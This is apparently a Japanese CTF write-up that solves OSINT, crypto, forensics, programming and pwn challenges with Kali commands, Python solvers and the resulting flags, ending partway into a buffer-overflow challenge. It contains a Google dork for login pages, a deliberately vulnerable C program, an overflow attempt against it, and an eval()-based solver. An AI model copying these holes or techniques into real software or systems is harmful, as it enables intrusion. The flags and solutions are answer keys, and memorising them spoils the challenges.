00:00:2c:00:00:00:00:00
00:00:00:00:00:00:00:00

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ python3 ctf-usb-keyboard-parser-master/usbkeyboard.py ./usbPcapData.txt
One popular but unverified explanation for the QWERTY arrangement is that it was designed to reduce the likelihood of flag{QWE_keyb0ard_RTY} internal clashing of typebars by placing commonly used combinations of letters farther from each oher inside the machine.

フラグ

flag{QWE_keyb0ard_RTY}

参考情報

OSINT

tkys_with_love

問題

image.png

攻略方法

C6DF6でググると、以下のページができました。

船名の英語表記があったので、そこからフラグを組み立てればOKでした。

フラグ

flag{Symphony_of_the_Seas}

Dorks

問題

image.png

攻略方法

Google Hackingの代表的な検索方法の一つでした。

login.phpinurl:login.phpで調べることができるので、これがフラグでした。

フラグ

flag{inurl:login.php}

参考情報

filters_op

問題

image.png

攻略方法

@cas_nisc の過去のTweetを探し出せればよさそうです。

twitter @cas_nisc 2017/5/15で、ググると以下のTweetが最初にヒットし、ハッシュタグがわかりました。

フラグ

flag{#WannaCrypt}

MAC

問題

image.png

攻略方法

タイトルのとおりですが、MACアドレスのベンダ名を示している可能性が高いです。例題で検証をしてみます。

00:03:93 = Apple
00:01:A9 = BMW
04:2A:E2 = Cisco

ベンダ名の先頭1文字でした。問題文に記載されたMACアドレスのベンダ名を特定します。

2C:C2:60 = Oracle
FC:EC:DA = Ubiquiti Networks Inc.
00:02:B3 = Intel Corporation
AC:44:F2 = YAMAHA CORPORATION
FC:4E:A4 = Apple, Inc.

特定したベンダの頭文字1文字を結合させるとフラグになりました。

フラグ

flag{O_U_I_Y_A}

Ropeway

問題

image.png

攻略方法

Googleの画像検索を利用すると、以下の通り浜名湖がサジェストされました。

image.png

浜名湖 Ropewayでさらに検索すると、以下の通りかんざんじロープウェイが見つかりました。あとは、問題文にあるとおりフラグ形式にすればOKです。

image.png

フラグ

flag{kanzanji}

Crypto

base64

問題

image.png

攻略方法

よくあるやつなので、ワンライナーで一発でデコードできました。

┌──(vagrant㉿kali)-[/vagrant/Crypo]
└─$ echo -n "ZmxhZ3tJdCdzX2NhbGxlZF9iYXNlNjQhfQ==" | base64 -d
flag{It's_called_base64!}

フラグ

flag{It's_called_base64!}

ROT13

問題

image.png

攻略方法

参考情報に記載のサイトを利用して、解読しました。

フラグ

flag{Even_you_Brutus?}

参考情報

pui_pui

問題

image.png

攻略環境

攻略方法

CyberChefで、From Hexを選択しデコードしました。

image.png

フラグ

flag{Have_you_ever_heard_of_Hexdump?}

Frensics

paint_flag

問題

image.png

攻略環境

攻略方法

Wordファイルを対象にしたフォレンジックです。

┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ file paint_flag.docx
paint_flag.docx: Microsoft Word 2007+

まずは、中身を見てみます。

┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ binwalk paint_flag.docx

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Zip archive data, at least v2.0 to extract, compressed size: 344, uncompressed size: 663, name: docProps/app.xml
410           0x19A           Zip archive data, at least v2.0 to extract, compressed size: 342, uncompressed size: 675, name: docProps/core.xml
852           0x354           Zip archive data, at least v2.0 to extract, compressed size: 1433, uncompressed size: 5780, name: word/document.xml
2332          0x91C           Zip archive data, at least v2.0 to extract, compressed size: 573, uncompressed size: 1933, name: word/fontTable.xml
2953          0xB89           Zip archive data, at least v2.0 to extract, compressed size: 215965, uncompressed size: 216319, name: word/media/flag.png
218967        0x35757         Zip archive data, at least v2.0 to extract, compressed size: 247808, uncompressed size: 247926, name: word/media/image1.png
466826        0x71F8A         Zip archive data, at least v2.0 to extract, compressed size: 1087, uncompressed size: 3153, name: word/settings.xml
467960        0x723F8         Zip archive data, at least v2.0 to extract, compressed size: 2772, uncompressed size: 29484, name: word/styles.xml
470777        0x72EF9         Zip archive data, at least v2.0 to extract, compressed size: 1688, uncompressed size: 8407, name: word/theme/theme1.xml
472516        0x735C4         Zip archive data, at least v2.0 to extract, compressed size: 328, uncompressed size: 894, name: word/webSettings.xml
472894        0x7373E         Zip archive data, at least v2.0 to extract, compressed size: 256, uncompressed size: 949, name: word/_rels/document.xml.rels
473208        0x73878         Zip archive data, at least v2.0 to extract, compressed size: 346, uncompressed size: 1362, name: [Content_Types].xml
473603        0x73A03         Zip archive data, at least v2.0 to extract, compressed size: 233, uncompressed size: 590, name: _rels/.rels
474714        0x73E5A         End of Zip archive, footer length: 22

flag.pngと、それらしいファイルを見つけましたので、解凍します。


┌──(vagrant㉿kali)-[/vagrant/Forensics/paint_flag]
└─$ unzip paint_flag.docx

flag.pngを開くと以下の通りフラグが書かれてました。

image.png

フラグ

flag{What_m4tters_is_inside;)}

Mail

問題

image.png

攻略方法

Imapのダンプデータからフォレンジックをする問題のようです。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail]
└─$ file ImapMail/mail.setodanote.net/*
ImapMail/mail.setodanote.net/Archives.msf:       Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Drafts.msf:         Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/filterlog.html:     HTML document, ASCII text
ImapMail/mail.setodanote.net/INBOX:              UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/INBOX.msf:          Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Junk.msf:           Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/msgFilterRules.dat: empty
ImapMail/mail.setodanote.net/Sent-1:             UTF-8 Unicode text, with CRLF line terminators
ImapMail/mail.setodanote.net/Sent-1.msf:         Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Sent.msf:           Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Templates.msf:      Mozilla Mork database, version 1.4
ImapMail/mail.setodanote.net/Trash.msf:          Mozilla Mork database, version 1.4

個人のクラウドサービスへのバックアップのコピーを送信していたようなので、送信メールに着目して確認をします。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail/mail.setodanote.net]
└─$ cat -n Sent-1 | more          

<snip>

   103	Content-Type: application/x-zip-compressed;
   104	 name="kimitsu.zip"
   105	Content-Transfer-Encoding: base64
   106	Content-Disposition: attachment;
   108
   107	 filename="kimitsu.zip"
   109	UEsDBBQAAAAIAEKk8lIYGu97DhgHAG8YBwALAAAAZ29vZGpvYi5wbmdUumN3JUy0Rrtj27Zt
   110	d2zbtp2OOrZt29xJdtSxbXfccdKxk/ueM8Yd99wPNVat9QNmzXqqolWUpJHg8eEBAACSrIyE

<snip>

送信メールを確認していたところ、怪しい添付ファイルが送信されているところを見つけました。このファイルを復元できれば良さそうです。

vi等でbase64エンコーディングされた箇所のみを取りだして、デコードします。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat Sent-1| tr -d "\r\n" > encode_base64.txt

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ cat encode_base64.txt| base64 -d > kimitsu.zip

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ zipinfo kimitsu.zip
Archive:  kimitsu.zip
Zip file size: 465030 bytes, number of entries: 1
-rw-a--     2.0 fat   465007 b- defN 21-Jul-18 20:34 goodjob.png
1 file, 465007 bytes uncompressed, 464910 bytes compressed:  0.0%

┌──(vagrant㉿kali)-[/vagrant/Forensics/Mail/ImapMail]
└─$ unzip kimitsu.zip
Archive:  kimitsu.zip
  inflating: goodjob.png

goodjob.pngを開くと以下の通りフラグが書いてありました。

image.png

フラグ

flag{You've_clearly_done_a_good_job_there!!}

Deletefile

問題

image.png

攻略環境

攻略方法

拡張子から推測できましたが、Raw Image Fileからのフォレンジックです。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors

まずは、binwalkでファイルが存在するか見てみます。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk deletedfile.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
104448        0x19800         JPEG image data, JFIF standard 1.01
163840        0x28000         JPEG image data, JFIF standard 1.01

JPEGファイルが見つかりました。取り出してみます。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ binwalk -D='.*' deletedfile.raw

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
104448        0x19800         JPEG image data, JFIF standard 1.01
163840        0x28000         JPEG image data, JFIF standard 1.01


┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ tree _deletedfile.raw.extracted
_deletedfile.raw.extracted
├── 19800
└── 28000

0 directories, 2 files

┌──(vagrant㉿kali)-[/vagrant/Forensics/Deletedfile]
└─$ file _deletedfile.raw.extracted/*
_deletedfile.raw.extracted/19800: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 960x540, components 3
_deletedfile.raw.extracted/28000: JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1996x1125, components 3

19800を開いたら以下の通りフラグが得られました。(マウントしなくてもフラグが得られました。)

image.png

フラグ

flag{nosce_te_ipsum}

Timeline

問題

image.png

攻略方法

Windows10のActivitiesCache.dbからのフォレンジックです。

┌──(vagrant㉿kali)-[/vagrant/Forensics/Timeline]
└─$ find C -type f | xargs file
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm: data
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000
C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db:     SQLite 3.x database, user version 27, last written using SQLite version 3025003

以下のプラグインでタイムラインの生成を試みるものの、うまく生成できなかったため、直接データをダンプすることにしました。

まずは、検索しやすいようにCSVファイルにダンプします。

┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ./ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity.csv
sqlite> SELECT * FROM Activity;
sqlite> .quit

ダンプしたCSVファイルを眺めていると、怪しいファイル名があることに気づきました。

┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ cat Activity.csv | strings | grep -i "E:/Appdata/.*txt"
"",""description"":""E:\\AppData\\OKdammyFlag.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/OKdammyFlag.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D8292-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131346,0,1626131346,"",,"",,0,0,,"",121
"",""description"":""E:\\AppData\\f.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/f.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={C60D82EF-E365-11EB-8472-000C2951BB7B}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131476,0,1626131476,"",,"",,0,0,,"",160
"",""description"":""E:\\AppData\\l.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/l.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975565-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131495,0,1626131495,"",,"",,0,0,,"",168
"",""description"":""E:\\AppData\\a.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/a.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975566-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131518,0,1626131518,"",,"",,0,0,,"",184
"",""description"":""E:\\AppData\\g.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/g.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975567-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131533,0,1626131533,"",,"",,0,0,,"",193
"",""description"":""E:\\AppData\\{.txt"",""backgroundColor"":""black"",""contentUri"":""file:///E:/AppData/%7B.txt?VolumeId={F1E2DA70-1756-446E-A36F-CEA1E4160CD5}&ObjectId={82975569-E30C-11EB-8554-000C2966FBB5}""}",1,0,aLw/wWoO50jZbGWEEPEgyLaJzMQaJaqH/drcZ+JIehc=,,0,1626131544,0,1626131544,"",,"",,0,0,,"",203

ファイル名の遷移を見るとf -> l -> a -> g -> %7({)となり、flagとなりそうなことがわかりました。

ただ、この時点でダンプしたときにソートをしていなかったことに気づいたため、以下の通りソートを実施しました。

┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ sqlite3 ActivitiesCache.db
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .headeres on
Error: unknown command or invalid arguments:  "headeres". Enter ".help" for help
sqlite> .headers on
sqlite> .mode csv
sqlite> .output Activity_sorted.csv
sqlite> select Payload from Activity ORDER by LastModifiedTime ASC;
sqlite> .quit

ソートしたデートに対して以下のスクリプトを実行して、ファイル名を抽出します。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

with open("./Activity_sorted.csv") as f:
    for line in f:
        if 'AppData' in line:
            print(line.strip().split('AppData\\\\')[1][:10])

抽出したファイル名の1文字目を結合すると、フラグになりました。

┌──(vagrant㉿kali)-[/vagrant/…/AppData/Local/ConnectedDevicesPlatform/L.stella]
└─$ ./solver.py
OKdammyFla
Heart.bmp"
f.txt"",""
l.txt"",""
a.txt"",""
g.txt"",""
{.txt"",""
T.txt"",""
h.txt"",""
3.txt"",""
_.txt"",""
local\\F.t
u.txt"",""
7.txt"",""
local\\U.t
r.txt"",""
e.txt"",""
local\\_.t
1.txt"",""
s.txt"",""
temp\\_.tx
N.txt"",""
0.txt"",""
w.txt"",""
}.txt"",""
lookllookd
NiceTry.tx
Heart.tif"

フラグ

flag{Th3_Fu7Ure_1s_N0w}

browser_db

問題

image.png

攻略環境

攻略方法

SQLiteのDBファイルからのフォレンジックです。

┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ file stella_9s84jetw.default-release_places.sqlite
stella_9s84jetw.default-release_places.sqlite: SQLite 3.x database, user version 54, last written using SQLite version 3035004

実態がわからないので、テーブルを見てみます。

┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ sqlite3 ./stella_9s84jetw.default-release_places.sqlite
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
moz_anno_attributes    moz_historyvisits      moz_meta
moz_annos              moz_inputhistory       moz_origins
moz_bookmarks          moz_items_annos        moz_places
moz_bookmarks_deleted  moz_keywords

テーブル名からFirefoxであることがわかりました。plaso(log2timeline)でタイムラインを作成します。

┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ psteal.py --parsers "sqlite/firefox_history" -o dynamic -w firefox-history-timeline.csv --source ./stella_9s84jetw.default-release_places.sqlite    

95件抽出ができました。

┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ wc -l firefox-history-timeline.csv
95 firefox-history-timeline.csv

grepするとflagが見つかりました。

┌──(vagrant㉿kali)-[/vagrant/Forensics/browser_db]
└─$ cat firefox-history-timeline.csv| grep flag
2021-07-18T18:44:16.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?t=ffab&q=duckduck&ia=web (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T18:44:18.441000+00:00,Last Visited Time,WEBHIST,Firefox History,https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab&ia=images (flag{goosegoosego} at DuckDuckGo) [count: 1] Host: duckduckgo.com visited from: https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab (duckduckgo.com) (URL not typed directly) Transition: LINK,sqlite/firefox_history,-,-
2021-07-18T19:03:56.437000+00:00,Last Visited Time,WEBHIST,Firefox History,https://steep-breeze-89f4.setodanote.workers.dev/#flag?? [count: 1] Host: steep-breeze-89f4.setodanote.workers.dev (URL not typed directly) Transition: TYPED,sqlite/firefox_history,-,-

フラグ

flag{goosegoosego}

CSIRT_asky_you_01

問題

image.png

攻略環境

攻略方法

Windowsイベントログを調査する問題です。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ file Security.evtx
Security.evtx: MS Windows Vista Event Log, 145 chunks (no. 144 in use), next record no. 13877

grepしやすいように、ダンプします。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys
import Evtx.Evtx as evtx
from tqdm import tqdm

with evtx.Evtx("./Security.evtx") as f, open('event.xml', 'w') as w_f:
    for record in tqdm(f.records()):
        w_f.write(record.xml().replace('\n','').strip())
        w_f.write('\n')

以下の通り、13,876件のイベントがありました。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ ./solver.py

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ wc -l event.xml
13876 event.xml

ログオン成功のイベントIDは4624なので、以下のとおりgrepします。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | wc -l
699

もう少し絞り込みが必要そうです。以下のヒントがあるのでネットワーク経由のログインに着目してみます。

ネットワーク経由のログインが成功したことを示している

ログイン元のIPアドレスが記録されるため、以下の通りログインに成功したIPアドレスを抽出すると3件のアドレスが抽出できました。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | awk -F'IpAddress">' '{print $2}' | awk -F'</Data>' '{print $1}' | sort | uniq -c
    663 -
      3 10.1.2.105
     32 127.0.0.1
      1 192.168.224.120

各端末から、どのようなイベントが発生しているのか確認をします。10.1.2.105から見てみます。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">10.1.2.105</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}'
4624
4624
4648
4624

特に問題となるようなイベントはありませんでした。次に、192.168.224.120を確認します。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '"IpAddress">192.168.224.120</Data>' event.xml | awk -F'<EventID Qualifiers="">' '{print $2}' | awk -F'</EventID>' '{print $1}' | sort | uniq -c
      1 4624
   3881 4625

大量のログオン失敗ログが確認できました。ブルートフォースアタック等で不正にログインされたのだと思います。ログイン成功時のログを確認し、タイムスタンプを確認してフラグ形式にします。

┌──(vagrant㉿kali)-[/vagrant/Forensics/CSIRT_asks_you_01]
└─$ grep '4624</EventID>' event.xml | grep '192.168.224.120' | xmllint --format -
<?xml version="1.0"?>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event">
  <System>
    <Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"/>
    <EventID Qualifiers="">4624</EventID>
    <Version>2</Version>
    <Level>0</Level>
    <Task>12544</Task>
    <Opcode>0</Opcode>
    <Keywords>0x8020000000000000</Keywords>
    <TimeCreated SystemTime="2021-07-18 20:09:21.904846"/>
    <EventRecordID>11874</EventRecordID>
    <Correlation ActivityID="{38c95613-7bec-0001-4956-c938ec7bd701}" RelatedActivityID=""/>
    <Execution ProcessID="604" ThreadID="4852"/>
    <Channel>Security</Channel>
    <Computer>stella-pc</Computer>
    <Security UserID=""/>
  </System>
  <EventData>
    <Data Name="SubjectUserSid">S-1-0-0</Data>
    <Data Name="SubjectUserName">-</Data>
    <Data Name="SubjectDomainName">-</Data>
    <Data Name="SubjectLogonId">0x0000000000000000</Data>
    <Data Name="TargetUserSid">S-1-5-21-3590118637-3649102893-3870174881-1002</Data>
    <Data Name="TargetUserName">test</Data>
    <Data Name="TargetDomainName">STELLA-PC</Data>
    <Data Name="TargetLogonId">0x000000000076ba89</Data>
    <Data Name="LogonType">3</Data>
    <Data Name="LogonProcessName">NtLmSsp </Data>
    <Data Name="AuthenticationPackageName">NTLM</Data>
    <Data Name="WorkstationName">lizardface</Data>
    <Data Name="LogonGuid">{00000000-0000-0000-0000-000000000000}</Data>
    <Data Name="TransmittedServices">-</Data>
    <Data Name="LmPackageName">NTLM V2</Data>
    <Data Name="KeyLength">128</Data>
    <Data Name="ProcessId">0x0000000000000000</Data>
    <Data Name="ProcessName">-</Data>
    <Data Name="IpAddress">192.168.224.120</Data>
    <Data Name="IpPort">0</Data>
    <Data Name="ImpersonationLevel">%%1833</Data>
    <Data Name="RestrictedAdminMode">-</Data>
    <Data Name="TargetOutboundUserName">-</Data>
    <Data Name="TargetOutboundDomainName">-</Data>
    <Data Name="VirtualAccount">%%1843</Data>
    <Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
    <Data Name="ElevatedToken">%%1843</Data>
  </EventData>
</Event>

フラグ

flag{2021/07/18_20:09:21_4624}

参考情報

Programing

ZZZIPPP

問題

image.png

攻略方法

問題文の通りzipファイルが入れ子になっているようです。

┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ zipinfo flag1000.zip
Archive:  flag1000.zip
Zip file size: 171803 bytes, number of entries: 1
-rw-r--r--  3.0 unx   171631 bx stor 21-Aug-01 06:00 flag999.zip
1 file, 171631 bytes uncompressed, 171631 bytes compressed:  0.0%

以下のスクリプトを書いてフラグを取得しました。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

from tqdm import tqdm
import zipfile

dir = "./extract/"

for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
    with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
        f.extractall(dir)
┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ ./solver.py
1000it [00:07, 126.17it/s]

┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}

フラグ

┌──(vagrant㉿kali)-[/vagrant/Programing/ZZZIPPP]
└─$ cat extract/flag.txt
flag{loop-zip-1989-zip-loop}

echo_me

問題

image.png

攻略方法

アクセスをして確認してい見ます。

user@b6e47d7eb2cf:~$ nc 10.1.1.10 12020
==========
echo me: 30897486
==========
30897486
Correct!

==========
echo me: 70505204
==========
70505204
Correct!

==========
echo me: 97784017
==========
97784017
Correct!

==========
echo me: 63349654
==========

出力された数値を入力すれば良さそうです。以下のプログラムを書いて、フラグを取得しました。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12020))

while True:
    s = client.recv(1024)
    print(s)
    if 'flag' in str(s):
        break
    for line in str(s).split('¥n'):
        if 'echo' in line:
            n = line.split(':')[1].strip().split('\\')[0]
            n += '\n'
            client.send(bytes(n, 'ascii'))
user@b6e47d7eb2cf:~$ ./solver.py 

<snip>

b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'
user@b6e47d7eb2cf:~$ 

フラグ

flag{Hellow_yamabiko_Yoo-hoo!}

EZZZIPP

問題

image.png

攻略方法

先ほどと同様ですが、今度はパスワード付きみたいです。

┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ ls -ltr
total 760
-rw-r--r-- 1 vagrant vagrant     11 Aug  1 22:27  pass.txt
-rw-r--r-- 1 vagrant vagrant 382628 Aug  1 22:27  flag1000.zip

pass.txtを読み込んで、解答するようにプログラミングしました。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

from tqdm import tqdm
import zipfile

dir = "./extract/"

for i in tqdm(reversed([i for i in range(1,1000 + 1)])):
    with open(f'{dir}pass.txt') as f:
        password = f.read().strip()

    with zipfile.ZipFile(f'{dir}flag{i}.zip') as f:
        f.extractall(dir, pwd=bytes(password, 'ascii'))

時間はかかりましたが、フラグを取得できました。

┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ time ./solver.py
1000it [04:17,  3.89it/s]

┌──(vagrant㉿kali)-[/vagrant/Programing/EZZZIPPP]
└─$ cat extract/flag.txt
flag{bdf574f15645df736df13daef06128b8}

フラグ

flag{bdf574f15645df736df13daef06128b8}

deep_thought

問題

image.png

攻略方法

echo_meと似ていますが、今度は計算問題のようです。

user@b6e47d7eb2cf:~$ nc 10.1.1.10 12010
[ Q1 ]
3 + 4
7
Correct!

[ Q2 ]
4 - 2
2
Correct!

[ Q3 ]
9 + 4

おそらく四則演算だけだと思うのですが、判定が面倒なのでeval()を使ってプログラミングします。

# !/usr/bin/env python3
# -*- coding: utf-8 -*-

import socket

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('10.1.1.10', 12010))

while True:
    s = client.recv(1024)
    print(s)
    if 'flag' in str(s):
        break
    for line in str(s).split('\\n'):
        for l in line.split("b'"):
            if not l.strip():
                continue
            print('l: ', l)
            if '+' in line or '-' in line or '*' in line or '/' in line:
                n = str(l).strip().split('\\')[0]
                a = str(eval(n))
                a += '\n'
                client.send(bytes(a, 'ascii'))

つくったPythonスクリプトを実行して、フラグを取得できました。

user@b6e47d7eb2cf:~$ ./solver.py 

<snip>

b'Correct!\n\nflag{__42__}\n'
user@b6e47d7eb2cf:~$ 

フラグ

flag{__42__}

Pwn

tkys_let_die

問題

image.png

攻略方法

添付ファイルを解答すると、実行ファイルとソースコードがありました。

┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ file gate*
gate:   ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e9d7ef71659ad8874194e92264ffdadac305c962, for GNU/Linux 3.2.0, not stripped
gate.c: C source, ASCII text, with CRLF line terminators

ソースコードを確認します。

# include <stdio.h>
# include <string.h>
# include <stdlib.h>

void printFlag(void) {
    system("/bin/cat ./flag");
}

int main(void) {
    char gate[6]="close";
    char name[16]="..";
    printf("\n");
    printf("                                  {} {}\n");
    printf("                          !  !  ! II II !  !  !\n");
    printf("                       !  I__I__I_II II_I__I__I  !\n");
    printf("                       I_/|__|__|_|| ||_|__|__|\\_I\n");
    printf("                    ! /|_/|  |  | || || |  |  |\\_|\\ !\n");
    printf("        .--.        I//|  |  |  | || || |  |  |  |\\\\I        .--.\n");
    printf("       /-   \\    ! /|/ |  |  |  | || || |  |  |  | \\|\\ !    /=   \\\n");
    printf("       \\=__ /    I//|  |  |  |  | || || |  |  |  |  |\\\\I    \\-__ /\n");
    printf("        }  {  ! /|/ |  |  |  |  | || || |  |  |  |  | \\|\\ !  }  {\n");
    printf("       {____} I//|  |  |  |  |  | || || |  |  |  |  |  |\\\\I {____}\n");
    printf(" _!__!__|= |=/|/ |  |  |  |  |  | || || |  |  |  |  |  | \\|\\=|  |__!__!_\n");
    printf(" _I__I__|  ||/|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|\\||- |__I__I_\n");
    printf(" -|--|--|- ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||= |--|--|-\n");
    printf("  |  |  |  || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||  |  |  |\n");
    printf("  |  |  |= || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||- |  |  |\n");
    printf(" _|__|__|  ||_|__|__|__|__|__|__|_|| ||_|__|__|__|__|__|__|_||  |__|__|_\n");
    printf(" -|--|--|= ||-|--|--|--|--|--|--|-|| ||-|--|--|--|--|--|--|-||- |--|--|-\n");
    printf("  |  |  |- || |  |  |  |  |  |  | || || |  |  |  |  |  |  | ||= |  |  |\n");
    printf(" ~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~\n");
    printf("\n");

    printf("You'll need permission to pass. What's your name?\n> ");
    scanf("%32[^\n]", name);
    if (strcmp(gate,"open")==0) {
        printFlag();
    }else{
        printf("Gate is %s.\n", gate);
        printf("Goodbay %s.\n", name);
    }
    return 0;
}

gate変数をcloseからopenに変更できればよさそう。

┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
└─$ python -c "print('A' * 8)" | ./gate

<snip>

You'll need permission to pass. What's your name?
> Gate is close.
Goodbay AAAAAAAA.

短い入力の場合は、上記の通りそのまま値が出力されてましたが、27文字入力した時点で出力が変わり、バッファオーバーフローが成立しました。

┌──(vagrant㉿kali)-[/vagrant/Pwn/tkys_let_die]
